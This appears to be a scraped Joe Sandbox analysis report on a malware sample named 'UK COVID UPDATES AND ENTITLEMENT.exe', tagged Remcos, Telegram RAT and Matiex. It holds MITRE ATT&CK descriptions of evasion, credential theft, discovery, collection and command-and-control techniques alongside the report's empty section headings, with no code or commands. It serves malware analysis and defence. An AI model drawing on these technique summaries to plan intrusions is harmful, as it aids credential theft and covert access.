Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report UK COVID UPDATES AND ENTITLEMENT.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Remcos

Threatname: Telegram RAT

Threatname: Matiex

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Stealing of Sensitive Information:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre